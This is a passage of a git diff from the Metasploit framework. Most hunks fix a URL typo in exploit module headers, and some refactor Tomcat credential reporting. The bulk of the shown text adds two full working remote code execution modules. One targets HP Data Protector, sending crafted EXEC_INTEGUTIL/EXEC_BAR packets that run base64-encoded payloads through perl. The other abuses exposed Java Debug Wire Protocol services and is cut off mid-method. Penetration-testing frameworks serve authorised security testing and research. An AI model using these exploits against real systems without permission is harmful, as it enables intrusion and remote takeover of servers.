) + report_tomcat_credential vprint_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}") return CheckCode::Appears @@ -209,15 +201,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]") end - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - ) + report_tomcat_credential # # EXECUTE @@ -315,4 +299,35 @@ class Metasploit3 < Msf::Exploit::Remote } end + def report_tomcat_credential + service_data = { + address: ::Rex::Socket.getaddress(datastore['RHOST'],true), + port: datastore['RPORT'], + service_name: (ssl ? "https" : "http"), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: datastore['PASSWORD'].downcase, + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + create_credential_login(login_data) + end + end diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index 5d24ce3b54..25bae56dff 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -126,15 +126,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("#{peer} - Tomcat Manager found running on #{plat} platform and #{arch} architecture") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - ) + report_tomcat_credential return CheckCode::Appears end @@ -156,15 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote # print_status("#{peer} - Uploading and deploying #{@app_base}...") if upload_payload - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - ) + report_tomcat_credential else fail_with(Failure::Unknown, "Upload failed") end @@ -423,4 +407,35 @@ class Metasploit3 < Msf::Exploit::Remote return true end + def report_tomcat_credential + service_data = { + address: ::Rex::Socket.getaddress(datastore['RHOST'],true), + port: datastore['RPORT'], + service_name: (ssl ? "https" : "http"), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: datastore['PASSWORD'].downcase, + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + create_credential_login(login_data) + end + end diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 219a01a5d6..932d09f4b3 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/uptime_file_upload.rb b/modules/exploits/multi/http/uptime_file_upload.rb index 08f3f8db30..02a764f046 100644 --- a/modules/exploits/multi/http/uptime_file_upload.rb +++ b/modules/exploits/multi/http/uptime_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/v0pcr3w_exec.rb b/modules/exploits/multi/http/v0pcr3w_exec.rb index ce816e90ef..1c94eb7118 100644 --- a/modules/exploits/multi/http/v0pcr3w_exec.rb +++ b/modules/exploits/multi/http/v0pcr3w_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/vbseo_proc_deutf.rb b/modules/exploits/multi/http/vbseo_proc_deutf.rb index 96f0297fee..6c04144401 100644 --- a/modules/exploits/multi/http/vbseo_proc_deutf.rb +++ b/modules/exploits/multi/http/vbseo_proc_deutf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/vtiger_install_rce.rb b/modules/exploits/multi/http/vtiger_install_rce.rb index dfe2bcb89f..3e76c223bf 100644 --- a/modules/exploits/multi/http/vtiger_install_rce.rb +++ b/modules/exploits/multi/http/vtiger_install_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/vtiger_php_exec.rb b/modules/exploits/multi/http/vtiger_php_exec.rb index 54790d69ea..92472d92bd 100644 --- a/modules/exploits/multi/http/vtiger_php_exec.rb +++ b/modules/exploits/multi/http/vtiger_php_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/vtiger_soap_upload.rb b/modules/exploits/multi/http/vtiger_soap_upload.rb index 989520e072..d8c06a41c1 100644 --- a/modules/exploits/multi/http/vtiger_soap_upload.rb +++ b/modules/exploits/multi/http/vtiger_soap_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index bcccbb9c2a..f7a72adae9 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index e6068cdaba..79008a0c42 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/zabbix_script_exec.rb b/modules/exploits/multi/http/zabbix_script_exec.rb index 47409ba37f..697e2ba2e7 100644 --- a/modules/exploits/multi/http/zabbix_script_exec.rb +++ b/modules/exploits/multi/http/zabbix_script_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/zenworks_control_center_upload.rb b/modules/exploits/multi/http/zenworks_control_center_upload.rb index eb09d6371c..f82eb98b9a 100644 --- a/modules/exploits/multi/http/zenworks_control_center_upload.rb +++ b/modules/exploits/multi/http/zenworks_control_center_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/ids/snort_dce_rpc.rb b/modules/exploits/multi/ids/snort_dce_rpc.rb index 58859f1dec..702b3fbadc 100644 --- a/modules/exploits/multi/ids/snort_dce_rpc.rb +++ b/modules/exploits/multi/ids/snort_dce_rpc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/batik_svg_java.rb b/modules/exploits/multi/misc/batik_svg_java.rb index 2c1e22563d..d78c68eebc 100644 --- a/modules/exploits/multi/misc/batik_svg_java.rb +++ b/modules/exploits/multi/misc/batik_svg_java.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb b/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb new file mode 100644 index 0000000000..af81b5bc9a --- /dev/null +++ b/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb @@ -0,0 +1,354 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP Data Protector EXEC_INTEGUTIL Remote Code Execution', + 'Description' => %q{ + This exploit abuses a vulnerability in the HP Data Protector. The vulnerability exists + in the Backup client service, which listens by default on TCP/5555. The EXEC_INTEGUTIL + request allows to execute arbitrary commands from a restricted directory. Since it + includes a perl executable, it's possible to use an EXEC_INTEGUTIL packet to execute + arbitrary code. On linux targets, the perl binary isn't on the restricted directory, but + an EXEC_BAR packet can be used to access the perl binary, even in the last version of HP + Data Protector for linux. This module has been tested successfully on HP Data Protector + 9 over Windows 2008 R2 64 bits and CentOS 6 64 bits. + }, + 'Author' => + [ + 'Aniway.Anyway ', # vulnerability discovery + 'juan vazquez' # msf module + ], + 'References' => + [ + [ 'ZDI', '14-344'] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'DefaultOptions' => + { + # The powershell embedded payload takes some time to deploy + 'WfsDelay' => 20 + }, + 'Targets' => + [ + [ 'Linux 64 bits / HP Data Protector 9', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'perl gawk bash-tcp openssl python generic' + } + } + } + ], + [ 'Windows 64 bits / HP Data Protector 9', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'powershell' + } + } + } + ] + ], + 'DefaultTarget' => 0, + 'Privileged' => true, + 'DisclosureDate' => 'Oct 2 2014' + )) + + register_options( + [ + Opt::RPORT(5555) + ], self.class) + end + + def check + fingerprint = get_fingerprint + + if fingerprint.nil? + return Exploit::CheckCode::Unknown + end + + if fingerprint =~ /Data Protector A\.(\d+\.\d+)/ + version = $1 + vprint_status("#{peer} - Windows / HP Data Protector version #{version} found") + elsif fingerprint =~ / INET/ + vprint_status("#{peer} - Linux / HP Data Protector found") + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + + if Gem::Version.new(version) <= Gem::Version.new('9') + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Detected # there is no patch at the time of module writing + end + + def exploit + rand_exec = rand_text_alpha(8) + print_status("#{peer} - Leaking the HP Data Protector directory...") + leak = leak_hp_directory(rand_exec) + dir = parse_dir(leak, rand_exec) + + if dir.nil? + dir = default_hp_dir + print_error("#{peer} - HP Data Protector dir not found, using the default #{dir}") + else + unless valid_target?(dir) + print_error("#{peer} - HP Data Protector directory leaked as #{dir}, #{target.name} looks incorrect, trying anyway...") + end + end + + if target.name =~ /Windows/ + #command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true}) + print_status("#{peer} - Executing payload...") + execute_windows(payload.encoded, dir) + else + print_status("#{peer} - Executing payload...") + execute_linux(payload.encoded, dir) + end + end + + def peer + "#{rhost}:#{rport}" + end + + def build_pkt(fields) + data = "\xff\xfe" # BOM Unicode + fields.each do |v| + data << "#{Rex::Text.to_unicode(v)}\x00\x00" + data << Rex::Text.to_unicode(" ") # Separator + end + + data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator + return [data.length].pack("N") + data + end + + def get_fingerprint + fingerprint = get_fingerprint_windows + if fingerprint.nil? + fingerprint = get_fingerprint_linux + end + + fingerprint + end + + def get_fingerprint_linux + connect + + sock.put([2].pack("N") + "\xff\xfe") + begin + res = sock.get_once(4) + rescue EOFError + disconnect + return nil + end + + if res.nil? + disconnect + return nil + else + length = res.unpack("N")[0] + end + + begin + res = sock.get_once(length) + rescue EOFError + return nil + ensure + disconnect + end + + if res.nil? + return nil + end + + res + end + + def get_fingerprint_windows + connect + + sock.put(rand_text_alpha_upper(64)) + begin + res = sock.get_once(4) + rescue ::Errno::ECONNRESET, EOFError + disconnect + return nil + end + + if res.nil? + disconnect + return nil + else + length = res.unpack("N")[0] + end + + begin + res = sock.get_once(length) + rescue EOFError + return nil + ensure + disconnect + end + + if res.nil? + return nil + end + + Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null + end + + def leak_hp_directory(rand_exec) + connect + pkt = build_pkt([ + "2", # Message Type + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + "28", # Opcode EXEC_INTEGUTIL + rand_exec, + ]) + + sock.put(pkt) + begin + res = sock.get_once(4) + rescue EOFError + disconnect + return nil + end + + if res.nil? + disconnect + return nil + else + length = res.unpack("N")[0] + end + + begin + res = sock.get_once(length) + rescue EOFError + return nil + ensure + disconnect + end + + if res.nil? + return nil + end + + if res =~ /No such file or directory/ # Linux signature + return res + else # deal as windows target + return Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null + end + end + + def parse_dir(data, clue) + if data && data =~ /The system cannot find the file specified\..*(.:\\.*)bin\\#{clue}/ + dir = $1 + print_good("#{peer} - HP Data Protector directory found on #{dir}") + elsif data && data =~ /\]\x00 (\/.*)lbin\/#{clue}\x00 \[\d\] No such file or directory/ + dir = $1 + print_good("#{peer} - HP Data Protector directory found on #{dir}") + else + dir = nil + end + + dir + end + + def valid_target?(dir) + if target.name =~ /Windows/ && dir =~ /^[A-Za-z]:\\/ + return true + elsif target.name =~ /Linux/ && dir.start_with?('/') + return true + end + + false + end + + def default_hp_dir + if target.name =~ /Windows/ + dir = 'C:\\Program Files\\OmniBack\\' + else # linux + dir = '/opt/omni/lbin/' + end + + dir + end + + def execute_windows(cmd, hp_dir) + connect + pkt = build_pkt([ + "2", # Message Type + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + "28", # Opcode EXEC_INTEGUTIL + "perl.exe", + "-I#{hp_dir}lib\\perl", + "-MMIME::Base64", + "-e", + "system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))" + ]) + sock.put(pkt) + disconnect + end + + def execute_linux(cmd, hp_dir) + connect + pkt = build_pkt([ + '2', # Message Type + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + '11', # Opcode EXEC_BAR + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + rand_text_alpha(8), + "../bin/perl", + rand_text_alpha(8), + "-I#{hp_dir}lib/perl", + '-MMIME::Base64', + '-e', + "system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))" + ]) + sock.put(pkt) + disconnect + end +end diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index 1dd4303c2e..08545a601c 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/indesign_server_soap.rb b/modules/exploits/multi/misc/indesign_server_soap.rb index 48f334d1dc..ecb6560c47 100644 --- a/modules/exploits/multi/misc/indesign_server_soap.rb +++ b/modules/exploits/multi/misc/indesign_server_soap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb new file mode 100644 index 0000000000..0f07258835 --- /dev/null +++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb @@ -0,0 +1,960 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + HANDSHAKE = "JDWP-Handshake" + + REQUEST_PACKET_TYPE = 0x00 + REPLY_PACKET_TYPE = 0x80 + + # Command signatures + VERSION_SIG = [1, 1] + CLASSESBYSIGNATURE_SIG = [1, 2] + ALLCLASSES_SIG = [1, 3] + ALLTHREADS_SIG = [1, 4] + IDSIZES_SIG = [1, 7] + CREATESTRING_SIG = [1, 11] + SUSPENDVM_SIG = [1, 8] + RESUMEVM_SIG = [1, 9] + SIGNATURE_SIG = [2, 1] + FIELDS_SIG = [2, 4] + METHODS_SIG = [2, 5] + GETVALUES_SIG = [2, 6] + CLASSOBJECT_SIG = [2, 11] + SETSTATICVALUES_SIG = [3, 2] + INVOKESTATICMETHOD_SIG = [3, 3] + CREATENEWINSTANCE_SIG = [3, 4] + REFERENCETYPE_SIG = [9, 1] + INVOKEMETHOD_SIG = [9, 6] + STRINGVALUE_SIG = [10, 1] + THREADNAME_SIG = [11, 1] + THREADSUSPEND_SIG = [11, 2] + THREADRESUME_SIG = [11, 3] + THREADSTATUS_SIG = [11, 4] + EVENTSET_SIG = [15, 1] + EVENTCLEAR_SIG = [15, 2] + EVENTCLEARALL_SIG = [15, 3] + + # Other codes + MODKIND_COUNT = 1 + MODKIND_THREADONLY = 2 + MODKIND_CLASSMATCH = 5 + MODKIND_LOCATIONONLY = 7 + MODKIND_STEP = 10 + EVENT_BREAKPOINT = 2 + EVENT_STEP = 1 + SUSPEND_EVENTTHREAD = 1 + SUSPEND_ALL = 2 + NOT_IMPLEMENTED = 99 + VM_DEAD = 112 + INVOKE_SINGLE_THREADED = 2 + TAG_OBJECT = 76 + TAG_STRING = 115 + TYPE_CLASS = 1 + TAG_ARRAY = 91 + TAG_VOID = 86 + TAG_THREAD = 116 + STEP_INTO = 0 + STEP_MIN = 0 + THREAD_SLEEPING_STATUS = 2 + + def initialize + super( + 'Name' => 'Java Debug Wire Protocol Remote Code Execution', + 'Description' => %q{ + This module abuses exposed Java Debug Wire Protocol services in order + to execute arbitrary Java code remotely. It just abuses the protocol + features, since no authentication is required if the service is enabled. + }, + 'Author' => [ + 'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help + 'Christophe Alladoum', # JDWP Analysis and Exploit + 'Redsadic ' # Metasploit Module + ], + 'References' => + [ + ['OSVDB', '96066'], + ['EDB', '27179'], + ['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'], + ['URL', 'http://seclists.org/nmap-dev/2010/q1/867'], + ['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'], + ['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'], + ['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html'] + ], + 'Platform' => %w{ linux win }, + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Space' => 2048, + 'BadChars' => '', + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux' + } + ], + [ 'Windows x86 (Native Payload)', + { + 'Platform' => 'win' + } + ] + ], + 'DefaultTarget' => 0, + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Mar 12 2010' + ) + + register_options( + [ + Opt::RPORT(8000), + OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]), + OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']), + ], self.class) + + register_advanced_options( + [ + OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]), + ], self.class) + end + + def check + connect + res = handshake + disconnect + + if res.nil? + return Exploit::CheckCode::Unknown + elsif res == HANDSHAKE + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + + def peer + "#{rhost}:#{rport}" + end + + def default_timeout + datastore['RESPONSE_TIMEOUT'] + end + + # Establishes handshake with the server + def handshake + sock.put(HANDSHAKE) + return sock.get_once(-1, datastore['RESPONSE_TIMEOUT']) + end + + # Forges packet for JDWP protocol + def create_packet(cmdsig, data="") + flags = 0x00 + cmdset, cmd = cmdsig + pktlen = data.length + 11 + buf = [pktlen, @my_id, flags, cmdset, cmd] + pkt = buf.pack("NNCCC") + pkt << data + @my_id += 2 + pkt + end + + # Reads packet response for JDWP protocol + def read_reply(timeout = default_timeout) + response = sock.get_once(-1, timeout) + fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response + pktlen, id, flags, errcode = response.unpack('NNCn') + response.slice!(0..10) + if errcode != 0 && flags == REPLY_PACKET_TYPE + fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}") + end + response + end + + # Returns the characters contained in the string defined in target VM + def solve_string(data) + sock.put(create_packet(STRINGVALUE_SIG, data)) + response = read_reply + return "" unless response + return read_string(response) + end + + # Unpacks received string structure from the server response into a normal string + def read_string(data) + data_len = data.unpack('N')[0] + data.slice!(0..3) + return data.slice!(0,data_len) + end + + # Creates a new string object in the target VM and returns its id + def create_string(data) + buf = build_string(data) + sock.put(create_packet(CREATESTRING_SIG, buf)) + buf = read_reply + return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false) + end + + # Packs normal string into string structure for target VM + def build_string(data) + ret = [data.length].pack('N') + ret << data + + ret + end + + # Pack Fixnum for JDWP protocol + def format(fmt, value) + if fmt == "L" || fmt == 8 + return [value].pack('Q>') + elsif fmt == "I" || fmt == 4 + return [value].pack('N') + end + + fail_with(Failure::Unknown, "Unknown format") + end + + # Unpack Fixnum from JDWP protocol + def unformat(fmt, value) + if fmt == "L" || fmt == 8 + return value[0..7].unpack('Q>')[0] + elsif fmt == "I" || fmt == 4 + return value[0..3].unpack('N')[0] + end + + fail_with(Failure::Unknown, "Unknown format") + end + + # Parses given data according to a set of formats + def parse_entries(buf, formats, explicit=true) + entries = [] + + if explicit + nb_entries = buf.unpack('N')[0] + buf.slice!(0..3) + else + nb_entries = 1 + end + + nb_entries.times do |var| + + if var != 0 && var % 1000 == 0 + vprint_status("#{peer} - Parsed #{var} classes of #{nb_entries}") + end + + data = {} + + formats.each do |fmt,name| + if fmt == "L" || fmt == 8 + data[name] = buf.unpack('Q>')[0] + buf.slice!(0..7) + elsif fmt == "I" || fmt == 4 + data[name] = buf.unpack('N')[0] + buf.slice!(0..3) + elsif fmt == "S" + data_len = buf.unpack('N')[0] + buf.slice!(0..3) + data[name] = buf.slice!(0,data_len) + elsif fmt == "C" + data[name] = buf.unpack('C')[0] + buf.slice!(0) + elsif fmt == "Z" + t = buf.unpack('C')[0] + buf.slice!(0) + if t == 115 + data[name] = solve_string(buf.slice!(0..7)) + elsif t == 73 + data[name], buf = buf.unpack('NN') + end + else + fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response") + end + + end + entries.append(data) + end + + entries + end + + # Gets the sizes of variably-sized data types in the target VM + def get_sizes + formats = [ + ["I", "fieldid_size"], + ["I", "methodid_size"], + ["I", "objectid_size"], + ["I", "referencetypeid_size"], + ["I", "frameid_size"] + ] + sock.put(create_packet(IDSIZES_SIG)) + response = read_reply + entries = parse_entries(response, formats, false) + entries.each { |e| @vars.merge!(e) } + end + + # Gets the JDWP version implemented by the target VM + def get_version + formats = [ + ["S", "descr"], + ["I", "jdwp_major"], + ["I", "jdwp_minor"], + ["S", "vm_version"], + ["S", "vm_name"] + ] + sock.put(create_packet(VERSION_SIG)) + response = read_reply + entries = parse_entries(response, formats, false) + entries.each { |e| @vars.merge!(e) } + end + + def version + "#{@vars["vm_name"]} - #{@vars["vm_version"]}" + end + + def is_java_eight + version.downcase =~ /1[.]8[.]/ + end + + # Returns reference for all threads currently running on target VM + def get_all_threads + sock.put(create_packet(ALLTHREADS_SIG)) + response = read_reply + num_threads = response.unpack('N').first + response.slice!(0..3) + + size = @vars["objectid_size"] + num_threads.times do + t_id = unformat(size, response[0..size-1]) + @threads[t_id] = nil + response.slice!(0..size-1) + end + end + + # Returns reference types for all classes currently loaded by the target VM + def get_all_classes + return unless @classes.empty? + + formats = [ + ["C", "reftype_tag"], + [@vars["referencetypeid_size"], "reftype_id"], + ["S", "signature"], + ["I", "status"] + ] + sock.put(create_packet(ALLCLASSES_SIG)) + response = read_reply + @classes.append(parse_entries(response, formats)) + end + + # Checks if specified class is currently loaded by the target VM and returns it + def get_class_by_name(name) + @classes.each do |entry_array| + entry_array.each do |entry| + if entry["signature"].downcase == name.downcase + return entry + end + end + end + + nil + end + + # Returns information for each method in a reference type (ie. object). Inherited methods are not included. + # The list of methods will include constructors (identified with the name "") + def get_methods(reftype_id) + if @methods.has_key?(reftype_id) + return @methods[reftype_id] + end + + formats = [ + [@vars["methodid_size"], "method_id"], + ["S", "name"], + ["S", "signature"], + ["I", "mod_bits"] + ] + ref_id = format(@vars["referencetypeid_size"],reftype_id) + sock.put(create_packet(METHODS_SIG, ref_id)) + response = read_reply + @methods[reftype_id] = parse_entries(response, formats) + end + + # Returns information for each field in a reference type (ie. object) + def get_fields(reftype_id) + formats = [ + [@vars["fieldid_size"], "field_id"], + ["S", "name"], + ["S", "signature"], + ["I", "mod_bits"] + ] + ref_id = format(@vars["referencetypeid_size"],reftype_id) + sock.put(create_packet(FIELDS_SIG, ref_id)) + response = read_reply + fields = parse_entries(response, formats) + + fields + end + + # Returns the value of one static field of the reference type. The field must be member of the reference type + # or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced; + # for example, the values of private fields can be obtained. + def get_value(reftype_id, field_id) + data = format(@vars["referencetypeid_size"],reftype_id) + data << [1].pack('N') + data << format(@vars["fieldid_size"],field_id) + + sock.put(create_packet(GETVALUES_SIG, data)) + response = read_reply + num_values = response.unpack('N')[0] + + unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT) + fail_with(Failure::Unknown, "Bad response when getting value for field") + end + + response.slice!(0..4) + + len = @vars["objectid_size"] + value = unformat(len, response) + + value + end + + # Sets the value of one static field. Each field must be member of the class type or one of its superclasses, + # superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of + # private fields can be set. Final fields cannot be set.For primitive values, the value's type must match + # the field's type exactly. For object values, there must exist a widening reference conversion from the + # value's type to the field's type and the field's type must be loaded. + def set_value(reftype_id, field_id, value) + data = format(@vars["referencetypeid_size"],reftype_id) + data << [1].pack('N') + data << format(@vars["fieldid_size"],field_id) + data << format(@vars["objectid_size"],value) + + sock.put(create_packet(SETSTATICVALUES_SIG, data)) + read_reply + end + + + # Checks if specified method is currently loaded by the target VM and returns it + def get_method_by_name(classname, name, signature = nil) + @methods[classname].each do |entry| + if signature.nil? + return entry if entry["name"].downcase == name.downcase + else + if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase + return entry + end + end + end + + nil + end + + # Checks if specified class and method are currently loaded by the target VM and returns them + def get_class_and_method(looked_class, looked_method, signature = nil) + target_class = get_class_by_name(looked_class) + unless target_class + fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found") + end + + get_methods(target_class["reftype_id"]) + target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature) + unless target_method + fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found") + end + + return target_class, target_method + end + + # Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept") + def str_to_fq_class(s) + i = s.rindex(".") + unless i + fail_with(Failure::BadConfig, 'Bad defined break class') + end + + method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string + + classname = 'L' + classname << s[0..i-1].gsub(/[.]/, '/') + classname << ';' + + return classname, method + end + + # Gets the status of a given thread + def thread_status(thread_id) + sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id))) + buf = read_reply(datastore['BREAK_TIMEOUT']) + unless buf + fail_with(Exploit::Failure::Unknown, "No network response") + end + status, suspend_status = buf.unpack('NN') + + status + end + + # Resumes execution of the application or thread after the suspend command or an event has stopped it + def resume_vm(thread_id = nil) + if thread_id.nil? + sock.put(create_packet(RESUMEVM_SIG)) + else + 